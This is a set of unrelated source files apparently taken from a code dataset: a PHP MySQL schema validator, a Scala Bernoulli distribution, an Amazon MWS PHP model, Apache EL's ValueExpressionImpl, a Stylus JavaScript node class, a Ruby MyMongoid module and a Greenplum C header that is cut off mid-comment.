text:
<?php

/*
@fileoverview
Class for working with MySQL schemas as model representations.
Supports automatic validation against the schema.

Schema is the base class for Model.

@since 0.1.0
*/

Backbone::uses(array("Connections", "DataType", "JSON", "SchemaRules"));

class Schema
{
	/* Central cache for schema definitions */
	protected static $_schema_cache = array();

	/* Database connection */
	protected $_db = null;

	/* Optional pointer to schema file name */
	public $schemaFile = null;

	/* The schema */
	protected $_schema = array();

	/* The primary key */
	protected $_id = "";

	/* Holds the last error message(s) */
	protected $_errors = array();

	/*
	Constructor

	@param [string] $connection The name of the database connection.
	*/
	public function __construct($connection = "default")
	{
		if(is_string($connection))
		{
			// string name of the connection
			$this->_db = Connections::get($connection);
		}
		else
		{
			// assume database object instance
			$this->_db = $connection;
		}
		if(!$this->_db)
		{
			trigger_error("Error: Invalid connection suplied to Schema");
		}
	}

	/*
	Initialize the schema

	@param [string] $table The table name
	@param [boolean] $cacheable Whether or not to cache the schema. Default is true.
	@return [array] The schema object as an associated array
	*/
	public function initialize($table, $cacheable = true)
	{
		if($this->_db && $this->_db->isConnected())
		{
			if($cacheable)
			{
				if(isset(Schema::$_schema_cache[$table]))
				{
					$cache = Schema::$_schema_cache[$table];
					$this->_schema = $cache['schema'];
					$this->_id = $cache['id'];
					return $this->_schema;
				}
			}
			if($this->schemaFile)
			{
				$cache = JSON::parse(file_get_contents(ABSPATH.$this->schemaFile));
				$this->_schema = $cache['schema'];
				$this->_id = $cache['id'];
			}
			else
				$this->_schema = $this->_loadSchema($table);
			if($cacheable)
			{
				Schema::$_schema_cache[$table] = array("id" => $this->_id, "schema" => $this->_schema);
			}
		}
	}

	/*
	Checks if the schema is initialized

	@return [boolean] True if it is initialized
	*/
	public function isInitialized()
	{
		return (!empty($this->_schema));
	}

	/*
	Add additional validation rules to a group of fields.

	@param [array] An array of key => value pairs, where the value corresponds to
		a rule or an array of rules to add to the field.

		Ex:
			$schema->rules(
				array("email" => array("email" => true))
			);
	*/
	public function rules($rules)
	{
		if($this->_schema && is_array($rules))
		{
			foreach($rules as $key => $values)
			{
				if(isset($this->_schema[$key]))
				{
					$this->_schema[$key]['rules'] = $values;
				}
			}
		}
	}

	/*
	Get the primary key

	@return [string] The field name of the primary key
	*/
	public function getID()
	{
		return $this->_id;
	}

	/*
	Checks for the existence of a field in the schema

	@param [string] $field The name of the field
	@return [boolean] True if the field exists
	*/
	public function hasField($field)
	{
		if(!$this->isInitialized())
			return false;
		return (isset($this->_schema[$field]));
	}

	/*
	Convert the schema to a JSON array

	@return [string] The JSON formatted schema array
	*/
	public function schemaToJSON()
	{
		if(!$this->_schema)
			return "";
		return $this->_schema;
	}

	/*
	Export this schema defintion to a file

	@param [string] $file The file name relative to the ABSPATH
		Ex: '/path/to/file/name.schema'
	*/
	public function export($file)
	{
		if(substr($file, 0, 1) == "/")
			$file = substr($file, 1);
		file_put_contents(ABSPATH.$file, JSON::stringify(array("id" => $this->getID(), "schema" => $this->schemaToJSON())));
	}

	/*
	Gets the last error message(s)

	@return [string] The error message(s)
	*/
	public function getErrors()
	{
		return $this->_errors;
		//return join(" // ", $this->_errors);
	}

	/*
	Returns true if the last operation produced any error messages

	@return [boolean] True if the last operation produced any error messages
	*/
	public function hasErrors()
	{
		return (!empty($this->_errors));
	}

	/*
	Validate one or more fields.
	Error messages can be retrieved through getErrors()

	@param [array] $fields An array of field => value pairs to validate
	@returns [boolean] True if all fields validate, false otherwise.
	*/
	public function validate($fields)
	{
		if(!$this->_schema)
		{
			$this->_errors = array("The Schema has not been initialized.");
			return false;
		}

		$this->_errors = array();
		foreach($fields as $key => $value)
		{
			if(!isset($this->_schema[$key]))
			{
				$this->_errors[] = "Invalid field name: ".$key.". ";
			}
			else
			{
				$this->_validateField($this->_schema[$key], $key, $value);
			}
		}

		if(empty($this->_errors))
			return true;
		return false; // errors
	}

	/*
	Get an array initialized to the default values

	@return [array] An associative array of key => value pairs set to the default values as defined
		in the active schema.
	*/
	public function defaultValues()
	{
		$defaults = array();
		if(!$this->_schema)
			return $defaults;

		foreach($this->_schema as $key => $definition)
		{
			$value = $definition['default'];
			if($value == "CURRENT_TIMESTAMP")
				$value = date('Y-m-d H:i:s', time());
			$defaults[$key] = $value;
		}

		return $defaults;
	}

	/*
	Internal function for validating a field

	@param [array] $field The field schema object
	@param [string] $name The name of the field
	@param [mixed] $value The value of the field to validate against
	*/
	protected function _validateField($field, $name, $value)
	{
		if(isset($field['primary']) && $field['primary'])
			return;

		if($value === "NULL")
		{
			// can this field be null?
			if(!$field['acceptNULL'])
			{
				$this->_errors[] = "Field `".$name."` cannot be set to NULL. ".$value;
				return;
			}
		}

		// check for custom schema rules
		if(isset($field['rules']))
		{
			foreach($field['rules'] as $rule => $args)
			{
				if(SchemaRules::invoke($rule, $name, $value, $args) === false)
				{
					$this->_errors[] = SchemaRules::$last_error;
					return;
				}
			}
		}

		$type = $field['type'];

		// check the field type
		if($type == "integer")
		{
			if(!is_int($value) && !is_numeric($value))
			{
				// not a number
				$this->_errors[] = "Type mismatch `".$name."`: Expected integer and found ".DataType::export($value);
				return;
			}
			$int_value = intval($value);
			if($field['size'] == "tinyint")
			{
				if(($field['unsigned'] && ($int_value < 0 || $int_value > 255)) || (!$field['unsigned'] && ($int_value < -128 || $int_value > 127)))
				{
					// out of bounds
					$this->_errors[] = "Out of bounds error `".$name."`: Expected tinyint ".($field['unsigned'] ? "unsigned " : "")."and found ".DataType::export($value);
				}
			}
			else if($field['size'] == "smallint")
			{
				// out of bounds
				if(($field['unsigned'] && ($int_value < 0 || $int_value > 65535)) || (!$field['unsigned'] && ($int_value < -32768 || $int_value > 32767)))
				{
					// out of bounds
					$this->_errors[] = "Out of bounds error `".$name."`: Expected smallint ".($field['unsigned'] ? "unsigned " : "")."and found ".DataType::export($value);
				}
			}
			else if($field['size'] == "mediumint")
			{
				// out of bounds
				if(($field['unsigned'] && ($int_value < 0 || $int_value > 16777215)) || (!$field['unsigned'] && ($int_value < -8388608 || $int_value > 8388607)))
				{
					// out of bounds
					$this->_errors[] = "Out of bounds error `".$name."`: Expected mediumint ".($field['unsigned'] ? "unsigned " : "")."and found ".DataType::export($value);
				}
			}
			else if($field['size'] == "int")
			{
				// out of bounds
				if(($field['unsigned'] && ($int_value < 0 || $int_value > 4294967295)) || (!$field['unsigned'] && ($int_value < -2147483648 || $int_value > 2147483647)))
				{
					// out of bounds
					$this->_errors[] = "Out of bounds error `".$name."`: Expected int ".($field['unsigned'] ? "unsigned " : "")."and found ".DataType::export($value);
				}
			}
			else if($field['size'] == "bigint")
			{
				// out of bounds
				if(($field['unsigned'] && ($int_value < 0 || $int_value > 18446744073709551615)) || (!$field['unsigned'] && ($int_value < -9223372036854775808 || $int_value > 9223372036854775807)))
				{
					// out of bounds
					$this->_errors[] = "Out of bounds error `".$name."`: Expected bigint ".($field['unsigned'] ? "unsigned " : "")."and found ".DataType::export($value);
				}
			}
		}
		else if($type == "float")
		{
			if(!is_float($value) && !is_numeric($value))
			{
				// not a float
				$this->_errors[] = "Type mismatch `".$name."`: Expected float and found ".DataType::export($value);
				return;
			}
		}
		else if($type == "string")
		{
			if($field['length'] != null)
			{
				$length = strlen(strval($value));
				if($length > $field['length'])
				{
					// string exceeds maximum character length
					$this->_errors[] = "String length (".$field['length'].") exceeded for `".$name."`: ".DataType::export($value)." (".$length.")";
				}
			}
		}
		else if($type == "char")
		{
			$length = strlen(strval($value));
			if($length > 255)
			{
				// string exceeds maximum character length
				$this->_errors[] = "Char length (".$field['length'].") exceeded for `".$name."`: ".DataType::export($value)." (".$length.")";
			}
			else if($length > $field['length'])
			{
				// string exceeds maximum character length
				$this->_errors[] = "Char length (".$field['length'].") exceeded for `".$name."`: ".DataType::export($value)." (".$length.")";
			}
		}
		else if($type == "datetime")
		{
			if(preg_match("/^(\d{4})-(\d{2})-(\d{2}) ([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$/", $value, $matches))
			{
				if(!checkdate($matches[2], $matches[3], $matches[1])) {
					if($value != "0000-00-00 00:00:00")
					{
						// invalid datetime
						$this->_errors[] = "Invalid datetime `".$name."`: ".DataType::export($value);
					}
				}
				else
				{
					if($value < "1000-01-01 00:00:00")
					{
						$this->_errors[] = "Out of bounds error `".$name."`: datetime must be >= '1000-01-01 00:00:00' but found ".$value;
					}
				}
			}
			else
			{
				// invalid datetime
				$this->_errors[] = "Expecting datetime `".$name."`: ".DataType::export($value);
			}
		}
		else if($type == "timestamp")
		{
			if(preg_match("/^(\d{4})-(\d{2})-(\d{2}) ([01][0-9]|2[0-3]):([0-5][0-9]):([0-5][0-9])$/", $value, $matches))
			{
				if(!checkdate($matches[2], $matches[3], $matches[1])) {
					// invalid timestamp
					if($value != "0000-00-00 00:00:00")
					{
						$this->_errors[] = "Invalid timestamp `".$name."`: ".DataType::export($value);
					}
				}
				else
				{
					if($value < "1970-01-01 00:00:01")
					{
						$this->_errors[] = "Out of bounds error `".$name."`: timestamp must be >= '1970-01-01 00:00:01' but found ".$value;
					}
				}
			}
			else
			{
				// invalid timestamp
				$this->_errors[] = "Expecting timestamp `".$name."`: ".DataType::export($value);
			}
		}
	}

	/*
	Internal function for loading a schema

	@param [string] $table The table name
	@return [array] The schema object as an associated array
	*/
	protected function _loadSchema($table)
	{
		$db = $this->_db;
		$fields = array();
		$result = $db->describe($table);
		while($row = $result->fetch())
		{
			// print_r($row);
			// echo "<br/>";
			$attrs = array();
			$field = $row['Field'];
			$type = $row['Type'];
			$null = $row['Null'];
			$default = $row['Default'];

			if($row['Key'] == "PRI")
			{
				// set the primary key
				$this->_id = $field;
				$attrs['primary'] = true;
			}

			// format type
			if(substr($type, 0, 3) == "int" || substr($type, 0, 7) == "tinyint" || substr($type, 0, 8) == "smallint" || substr($type, 0, 9) == "mediumint" || substr($type, 0, 6) == "bigint")
			{
				// get size
				preg_match_all('/\((.*?)\)/', $type, $matches);
				$attrs["type"] = "integer";
				$attrs["size"] = substr($type, 0, strpos($type, "("));
				$attrs["length"] = $matches[1][0];
				if(stripos($type, "unsigned") !== false)
				{
					$attrs["unsigned"] = "1";
				}
				else
				{
					$attrs["unsigned"] = "0";
				}

				if($default == null && $null == "NO")
					$default = "0";
			}
			else if(substr($type, 0, 5) == "float" || substr($type, 0, 6) == "double")
			{
				// get size
				preg_match_all('/\((.*?)\)/', $type, $matches);
				$attrs["type"] = "float";
				$attrs["size"] = substr($type, 0, strpos($type, "("));
				$attrs["length"] = $matches[1][0];
			}
			else if(substr($type, 0, 7) == "varchar")
			{
				// get size
				preg_match_all('/\((.*?)\)/', $type, $matches);
				$attrs["type"] = "string";
				$attrs["length"] = $matches[1][0];
			}
			else if(substr($type, 0, 4) == "char")
			{
				// get size
				preg_match_all('/\((.*?)\)/', $type, $matches);
				$attrs["type"] = "char";
				$attrs["length"] = $matches[1][0];
			}
			else if(substr($type, 0, 4) == "text" || substr($type, 0, 8) == "longtext")
			{
				// get size
				$attrs["type"] = "string";
				$attrs["length"] = null;
			}
			else
			{
				$attrs["type"] = $type;
			}

			// null
			if($null == "NO")
			{
				$attrs["acceptNULL"] = '0';
			}
			else
			{
				$attrs["acceptNULL"] = '1';
			}

			// default
			$attrs["default"] = ($default == null ? "" : ($default == "NULL" ? null : $default));

			$fields[$field] = $attrs;
		}
		return $fields;
	}
};

?>


text:
package scalanlp.stats
package distributions

import scalanlp.util.I
import java.lang.Math
import scalanlp.optimize.DiffFunction
import scalala.tensor.Counter

/*
 * A Bernoulli distribution represents a distribution over weighted coin flips, with numYes(true) = numYes, the
 *
 * @author dlwh
 * @param numYes the probability of true
 */
class Bernoulli(p: Double, rand: RandBasis = Rand) extends DiscreteDistr[Boolean] with Moments[Double] {
  require(p >= 0.0);
  require(p <= 1.0);
  def probabilityOf(b: Boolean) = if(b) p else (1-p)

  override def draw() = {
    rand.uniform.get < p
  }

  override def toString() = "Bernoulli(" + p +")"

  def mean = p;
  def variance = p * (1-p);
  def mode = I(p >= 0.5);
  def entropy = -p * math.log(p) - (1 - p) * math.log1p(-p);
}

object Bernoulli extends ExponentialFamily[Bernoulli,Boolean] with HasConjugatePrior[Bernoulli,Boolean] {
  type ConjugatePrior = Beta
  val conjugateFamily = Beta

  def predictive(parameter: Beta.Parameter) = new Polya(Counter(true->parameter._1,false->parameter._2))

  def posterior(prior: Beta.Parameter, evidence: TraversableOnce[Boolean]) = {
    evidence.foldLeft(prior) { (acc,ev) =>
      if(ev) acc.copy(_1 = acc._1 + 1)
      else acc.copy(_2 = acc._2 + 1)
    }
  }

  type Parameter = Double
  case class SufficientStatistic(numYes: Double, n: Double) extends distributions.SufficientStatistic[SufficientStatistic] {
    def *(weight: Double) = SufficientStatistic(numYes*weight,n*weight);
    def +(t: SufficientStatistic) = SufficientStatistic(numYes + t.numYes,n+t.n);
  }

  def emptySufficientStatistic = SufficientStatistic(0,0);

  def sufficientStatisticFor(t: Boolean) = SufficientStatistic(I(t),1);

  def mle(stats: SufficientStatistic) = stats.numYes / stats.n;

  def distribution(p: Double) = new Bernoulli(p);

  def likelihoodFunction(stats: SufficientStatistic) = new DiffFunction[Double] {
    val SufficientStatistic(yes,num) = stats;
    val no = num-yes;
    def calculate(p: Double) = {
      import math._;
      val obj = yes * log(p) + no * log1p(-p);
      val grad = yes/p - no/(1-p);
      (-obj,-grad);
    }
  }
}

redpajama_set_name: RedPajamaGithub


text:
<?php

/*******************************************************************************

 *  Marketplace Web Service PHP5 Library
 *  Generated: Thu May 07 13:07:36 PDT 2009
 *
 *  Modified: $Id$
 */

/**
 * MarketplaceWebService_Model_RequestReportRequest
 *
 * Properties:
 *

 *
 *
Marketplace: string

 *
Merchant: string

 *
MarketplaceIdList: MarketplaceWebService_Model_IdList

 *
ReportType: string

 *
StartDate: string

 *
EndDate: string

 *
ReportOptions: string

 *
 *

 */
class MarketplaceWebService_Model_RequestReportRequest
extends MarketplaceWebService_ModelRequest
{
    /**
     * Construct new MarketplaceWebService_Model_RequestReportRequest
     *
     * @param mixed $data DOMElement or Associative Array to construct from.
     *
     * Valid properties:
     *

     *
     *
Marketplace: string

     *
Merchant: string

     *
MarketplaceIdList: MarketplaceWebService_Model_IdList

     *
ReportType: string

     *
StartDate: string

     *
EndDate: string

     *
ReportOptions: string

     *
     *

     */
    public function __construct($data = null)
    {
        $this->fields['ReportType'] = array('FieldValue' => null, 'FieldType' => 'string');
        $this->fields['StartDate'] = array('FieldValue' => null, 'FieldType' => 'DateTime');
        $this->fields['EndDate'] = array('FieldValue' => null, 'FieldType' => 'DateTime');
        $this->fields['ReportOptions'] = array('FieldValue' => null, 'FieldType' => 'string');
        parent::__construct($data);
    }
}


text:
package org.apache.el;

import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;

import javax.el.ELContext;
import javax.el.ELException;
import javax.el.FunctionMapper;
import javax.el.PropertyNotFoundException;
import javax.el.PropertyNotWritableException;
import javax.el.ValueExpression;
import javax.el.ValueReference;
import javax.el.VariableMapper;

import org.apache.el.lang.ELSupport;
import org.apache.el.lang.EvaluationContext;
import org.apache.el.lang.ExpressionBuilder;
import org.apache.el.parser.AstLiteralExpression;
import org.apache.el.parser.Node;
import org.apache.el.util.ReflectionUtil;

/**
 * An Expression that can get or set a value.
 *
 *

 * In previous incarnations of this API, expressions could only be read.
 * ValueExpression objects can now be used both to retrieve a
 * value and to set a value. Expressions that can have a value set on them are
 * referred to as l-value expressions. Those that cannot are referred to as
 * r-value expressions. Not all r-value expressions can be used as l-value
 * expressions (e.g. "${1+1}" or
 * "${firstName} ${lastName}"). See the EL Specification for
 * details. Expressions that cannot be used as l-values must always return
 * true from isReadOnly().
 *

 *
 *

 * The {@link javax.el.ExpressionFactory#createValueExpression} method
 * can be used to parse an expression string and return a concrete instance
 * of ValueExpression that encapsulates the parsed expression.
 * The {@link FunctionMapper} is used at parse time, not evaluation time,
 * so one is not needed to evaluate an expression using this class.
 * However, the {@link ELContext} is needed at evaluation time.

 *
 *
The {@link #getValue}, {@link #setValue}, {@link #isReadOnly} and
 * {@link #getType} methods will evaluate the expression each time they are
 * called. The {@link javax.el.ELResolver} in the ELContext is used
 * to resolve the top-level variables and to determine the behavior of the
 * . and [] operators. For any of the four methods,
 * the {@link javax.el.ELResolver#getValue} method is used to resolve all
 * properties up to but excluding the last one. This provides the
 * base object. At the last resolution, the
 * ValueExpression will call the corresponding
 * {@link javax.el.ELResolver#getValue}, {@link javax.el.ELResolver#setValue},
 * {@link javax.el.ELResolver#isReadOnly} or {@link javax.el.ELResolver#getType}
 * method, depending on which was called on the ValueExpression.
 *

 *
 *
See the notes about comparison, serialization and immutability in
 * the {@link javax.el.Expression} javadocs.
 *
 * @see javax.el.ELResolver
 * @see javax.el.Expression
 * @see javax.el.ExpressionFactory
 * @see javax.el.ValueExpression
 *
 * @author Jacob Hookom [jacob@hookom.net]
 */
public final class ValueExpressionImpl extends ValueExpression implements
        Externalizable {

    private Class<?> expectedType;

    private String expr;

    private FunctionMapper fnMapper;

    private VariableMapper varMapper;

    private transient Node node;

    public ValueExpressionImpl() {
        super();
    }

    /**
     *
     */
    public ValueExpressionImpl(String expr, Node node, FunctionMapper fnMapper,
            VariableMapper varMapper, Class<?> expectedType) {
        this.expr = expr;
        this.node = node;
        this.fnMapper = fnMapper;
        this.varMapper = varMapper;
        this.expectedType = expectedType;
    }

    /*
     * (non-Javadoc)
     *
     * @see java.lang.Object#equals(java.lang.Object)
     */
    @Override
    public boolean equals(Object obj) {
        return (obj instanceof ValueExpressionImpl && obj.hashCode() == this
                .hashCode());
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#getExpectedType()
     */
    @Override
    public Class<?> getExpectedType() {
        return this.expectedType;
    }

    /**
     * Returns the type the result of the expression will be coerced to after
     * evaluation.
     *
     * @return the expectedType passed to the
     *         ExpressionFactory.createValueExpression method
     *         that created this ValueExpression.
     *
     * @see javax.el.Expression#getExpressionString()
     */
    @Override
    public String getExpressionString() {
        return this.expr;
    }

    private Node getNode() throws ELException {
        if (this.node == null) {
            this.node = ExpressionBuilder.createNode(this.expr);
        }
        return this.node;
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#getType(javax.el.ELContext)
     */
    @Override
    public Class<?> getType(ELContext context) throws PropertyNotFoundException,
            ELException {
        EvaluationContext ctx = new EvaluationContext(context, this.fnMapper,
                this.varMapper);
        return this.getNode().getType(ctx);
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#getValue(javax.el.ELContext)
     */
    @Override
    public Object getValue(ELContext context) throws PropertyNotFoundException,
            ELException {
        EvaluationContext ctx = new EvaluationContext(context, this.fnMapper,
                this.varMapper);
        Object value = this.getNode().getValue(ctx);
        if (this.expectedType != null) {
            return ELSupport.coerceToType(value, this.expectedType);
        }
        return value;
    }

    /*
     * (non-Javadoc)
     *
     * @see java.lang.Object#hashCode()
     */
    @Override
    public int hashCode() {
        return this.getNode().hashCode();
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#isLiteralText()
     */
    @Override
    public boolean isLiteralText() {
        try {
            return this.getNode() instanceof AstLiteralExpression;
        } catch (ELException ele) {
            return false;
        }
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#isReadOnly(javax.el.ELContext)
     */
    @Override
    public boolean isReadOnly(ELContext context)
            throws PropertyNotFoundException, ELException {
        EvaluationContext ctx = new EvaluationContext(context, this.fnMapper,
                this.varMapper);
        return this.getNode().isReadOnly(ctx);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException,
            ClassNotFoundException {
        this.expr = in.readUTF();
        String type = in.readUTF();
        if (!"".equals(type)) {
            this.expectedType = ReflectionUtil.forName(type);
        }
        this.fnMapper = (FunctionMapper) in.readObject();
        this.varMapper = (VariableMapper) in.readObject();
    }

    /*
     * (non-Javadoc)
     *
     * @see javax.el.ValueExpression#setValue(javax.el.ELContext,
     *      java.lang.Object)
     */
    @Override
    public void setValue(ELContext context, Object value)
            throws PropertyNotFoundException, PropertyNotWritableException,
            ELException {
        EvaluationContext ctx = new EvaluationContext(context, this.fnMapper,
                this.varMapper);
        this.getNode().setValue(ctx, value);
    }

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeUTF(this.expr);
        out.writeUTF((this.expectedType != null) ? this.expectedType.getName()
                : "");
        out.writeObject(this.fnMapper);
        out.writeObject(this.varMapper);
    }

    @Override
    public String toString() {
        return "ValueExpression["+this.expr+"]";
    }

    /**
     * @since EL 2.2
     */
    @Override
    public ValueReference getValueReference(ELContext context) {
        EvaluationContext ctx = new EvaluationContext(context, this.fnMapper,
                this.varMapper);
        return this.getNode().getValueReference(ctx);
    }

}


text:
/**
 * Module dependencies.
 */

var Evaluator = require('../visitor/evaluator')
  , utils = require('../utils')
  , nodes = require('./');

/**
 * Initialize a new `CoercionError` with the given `msg`.
 *
 * @param {String} msg
 * @api private
 */

function CoercionError(msg) {
  this.name = 'CoercionError'
  this.message = msg
  Error.captureStackTrace(this, CoercionError);
}

/**
 * Inherit from `Error.prototype`.
 */

CoercionError.prototype.__proto__ = Error.prototype;

/**
 * Node constructor.
 *
 * @api public
 */

var Node = module.exports = function Node(){
  this.lineno = nodes.lineno || 1;
  this.column = nodes.column || 1;
  this.filename = nodes.filename;
};

Node.prototype = {
  constructor: Node,

  /**
   * Return this node.
   *
   * @return {Node}
   * @api public
   */

  get first() {
    return this;
  },

  /**
   * Return hash.
   *
   * @return {String}
   * @api public
   */

  get hash() {
    return this.val;
  },

  /**
   * Return node name.
   *
   * @return {String}
   * @api public
   */

  get nodeName() {
    return this.constructor.name.toLowerCase();
  },

  /**
   * Return this node.
   *
   * @return {Node}
   * @api public
   */

  clone: function(){
    return this;
  },

  /**
   * Return a JSON representation of this node.
   *
   * @return {Object}
   * @api public
   */

  toJSON: function(){
    return {
      lineno: this.lineno,
      column: this.column,
      filename: this.filename
    };
  },

  /**
   * Nodes by default evaluate to themselves.
   *
   * @return {Node}
   * @api public
   */

  eval: function(){
    return new Evaluator(this).evaluate();
  },

  /**
   * Return true.
   *
   * @return {Boolean}
   * @api public
   */

  toBoolean: function(){
    return nodes.true;
  },

  /**
   * Return the expression, or wrap this node in an expression.
   *
   * @return {Expression}
   * @api public
   */

  toExpression: function(){
    if ('expression' == this.nodeName) return this;
    var expr = new nodes.Expression;
    expr.push(this);
    return expr;
  },

  /**
   * Return false if `op` is generally not coerced.
   *
   * @param {String} op
   * @return {Boolean}
   * @api private
   */

  shouldCoerce: function(op){
    switch (op) {
      case 'is a':
      case 'in':
      case '||':
      case '&&':
        return false;
      default:
        return true;
    }
  },

  /**
   * Operate on `right` with the given `op`.
   *
   * @param {String} op
   * @param {Node} right
   * @return {Node}
   * @api public
   */

  operate: function(op, right){
    switch (op) {
      case 'is a':
        if ('string' == right.first.nodeName) {
          return nodes.Boolean(this.nodeName == right.val);
        } else {
          throw new Error('"is a" expects a string, got ' + right.toString());
        }
      case '==':
        return nodes.Boolean(this.hash == right.hash);
      case '!=':
        return nodes.Boolean(this.hash != right.hash);
      case '>=':
        return nodes.Boolean(this.hash >= right.hash);
      case '<=':
        return nodes.Boolean(this.hash <= right.hash);
      case '>':
        return nodes.Boolean(this.hash > right.hash);
      case '<':
        return nodes.Boolean(this.hash < right.hash);
      case '||':
        return this.toBoolean().isTrue
          ? this
          : right;
      case 'in':
        var vals = utils.unwrap(right).nodes
          , len = vals && vals.length
          , hash = this.hash;
        if (!vals) throw new Error('"in" given invalid right-hand operand, expecting an expression');

        // 'prop' in obj
        if (1 == len && 'object' == vals[0].nodeName) {
          return nodes.Boolean(vals[0].has(this.hash));
        }

        for (var i = 0; i < len; ++i) {
          if (hash == vals[i].hash) {
            return nodes.true;
          }
        }
        return nodes.false;
      case '&&':
        var a = this.toBoolean()
          , b = right.toBoolean();
        return a.isTrue && b.isTrue
          ? right
          : a.isFalse
            ? this
            : right;
      default:
        if ('[]' == op) {
          var msg = 'cannot perform '
            + this
            + '[' + right + ']';
        } else {
          var msg = 'cannot perform'
            + ' ' + this
            + ' ' + op
            + ' ' + right;
        }
        throw new Error(msg);
    }
  },

  /**
   * Default coercion throws.
   *
   * @param {Node} other
   * @return {Node}
   * @api public
   */

  coerce: function(other){
    if (other.nodeName == this.nodeName) return other;
    throw new CoercionError('cannot coerce ' + other + ' to ' + this.nodeName);
  }
};


text:
require "my_mongoid/document"
require "my_mongoid/configuration"
require "my_mongoid/session"
require "my_mongoid/errors"
require 'active_support/concern'

module MyMongoid

  def self.models
    @models ||= []
  end

  def self.register_model(klass)
    # why self todo
    @models << klass unless models.include?(klass)
  end

  def self.configure
    block_given? ? yield(Configuration.instance) : Configuration.instance
  end

  def self.configuration
    Configuration.instance
  end

end


text:
#ifndef CDBVARS_H
#define CDBVARS_H

#include "access/xlogdefs.h"  /*XLogRecPtr*/
#include "utils/guc.h"

/*
 * ----- Declarations of Greenplum-specific global variables ------
 */

#ifdef sparc
#define TUPLE_CHUNK_ALIGN	4
#else
#define TUPLE_CHUNK_ALIGN	1
#endif

#ifndef PRIO_MAX
#define PRIO_MAX 20
#endif
/*
 * Parameters gp_session_role and gp_role
 *
 * The run-time parameters (GUC variables) gp_session_role and
 * gp_role report and provide control over the role assumed by a
 * postgres process.
 *
 * Valid  roles are the following:
 *
 *	dispatch	The process acts as a parallel SQL dispatcher.
 *	execute		The process acts as a parallel SQL executor.
 *	utility		The process acts as a simple SQL engine.
 *
 * Both parameters are initialized to the same value at connection
 * time and are local to the backend process resulting from the
 * connection.	The default is dispatch which is the normal setting
 * for a user of Greenplum connecting to a node of  the Greenplum cluster.
 * Neither parameter appears in the configuration file.
 *
 * gp_session_role
 *
 * - does not affect the operation of the backend, and
 * - does not change during the lifetime of PostgreSQL session.
 *
 * gp_role
 *
 * - determines the operating role of the backend, and
 * - may be changed by a superuser via the SET command.
 *
 * The connection time value of gp_session_role used by a
 * libpq-based client application can be specified using the
 * environment variable PGOPTIONS.	For example, this is how to
 * invoke psql on database test as a utility:
 *
 *	PGOPTIONS='-c gp_session_role=utility' psql test
 *
 * Alternatively, libpq-based applications can be modified to set
 * the value directly via an argument to one of the libpq functions
 * PQconnectdb, PQsetdbLogin or PQconnectStart.
 *
 * Don't try to set gp_role this way.  At the time options are
 * processed it is unknown whether the user is a superuser, so
 * the attempt will be rejected.
 *
 * ----------
 *
 * Greenplum Developers can access the values of these parameters via the
 * global variables Gp_session_role and Gp_role of type
 * GpRoleValue. For example
 *
 *	#include "cdb/cdbvars.h"
 *
 *	switch ( Gp_role  )
 *	{
 *		case GP_ROLE_DISPATCH:
 *			... Act like a query dispatcher ...
 *			break;
 *		case GP_ROLE_EXECUTE:
 *			... Act like a query executor ...
 *			break;
 *		case GP_ROLE_UTILITY:
 *			... Act like an unmodified PostgreSQL backend. ...
 *			break;
 *		default:
 *			... Won't happen ..
 *			break;
 *	}
 *
 * You can also modify Gp_role (even if the session doesn't have
 * superuser privileges) by setting it to one of the three valid
 * values, however this must be well documented to avoid
 * disagreements between modules.  Don't modify the value  of
 * Gp_session_role.
 *
 */

typedef enum
{
	GP_ROLE_UTILITY = 0,		/* Operating as a simple database engine */
	GP_ROLE_DISPATCH,			/* Operating as the parallel query dispatcher */
	GP_ROLE_EXECUTE,			/* Operating as a parallel query executor */
	GP_ROLE_UNDEFINED			/* Should never see this role in use */
} GpRoleValue;

extern GpRoleValue Gp_session_role;	/* GUC var - server startup mode.  */
extern char *gp_session_role_string;	/* Use by guc.c as staging area for
										 * value. */
extern const char *assign_gp_session_role(const char *newval, bool doit, GucSource source);
extern const char *show_gp_session_role(void);

extern GpRoleValue Gp_role;	/* GUC var - server operating mode.  */
extern char *gp_role_string;	/* Use by guc.c as staging area for value. */
extern const char *assign_gp_role(const char *newval, bool doit, GucSource source);
extern const char *show_gp_role(void);

extern bool gp_reraise_signal; /* try to force a core dump ?*/

extern bool gp_set_proc_affinity; /* try to bind postmaster to a processor */

/* Parameter Gp_is_writer
 *
 * This run_time parameter indicates whether session is a qExec that is a
 * "writer" process.  Only writers are allowed to write changes to the database
 * and currently there is only one writer per group of segmates.
 *
 * It defaults to false, but may be specified as true using a connect option.
 * This should only ever be set by a QD connecting to a QE, rather than
 * directly.
 */
extern bool Gp_is_writer;

/* Parameter gp_session_id
 *
 * This run time parameter indicates a unique id to identify a particular user
 * session throughout the entire Greenplum array.
 */
extern int gp_session_id;

/* The Hostname where this segment's QD is located. This variable is NULL for the QD itself */
extern char * qdHostname;

/* The Postmaster listener port for the QD.  This variable is 0 for the QD itself.*/
extern int qdPostmasterPort;

/*How many gangs to keep around from stmt to stmt.*/
extern int			gp_cached_gang_threshold;

/*
 * gp_reject_percent_threshold
 *
 * When reject limit in single row error handling is specified in PERCENT,
 * we don't want to start calculating the percent of rows rejected right
 * from the 1st row, since for example, if the second row is bad this will
 * mean that 50% of the data is bad even if all the following rows are valid.
 * Therefore we want to keep track of count of bad rows but start calculating
 * the percent at a later stage in the game. By default we'll start the
 * calculation after 100 rows were processed, but this GUC can be set for
 * some other number if it makes more sense in certain situations.
 */
extern int			gp_reject_percent_threshold;

/*
 * gp_max_csv_line_length
 *
 * maximum csv line length for COPY and external tables. It is best to keep
 * the default value of 64K to as it protects against a never ending rejection
 * of valid csv data as a result of a quote related formatting error. however,
 * there may be cases where data lines are indeed larger than 64K and that's
 * when this guc must be increased in order to be able to load the data.
 */
extern int 			gp_max_csv_line_length;

/*
 * For use while debugging DTM issues: alter MVCC semantics such that
 * "invisible" rows are returned.
 */
extern bool           gp_select_invisible;

/*
 * Used to set the maximum length of the current query which is displayed
 * when the user queries pg_stat_activty table.
 */
extern int			pgstat_track_activity_query_size;

/*
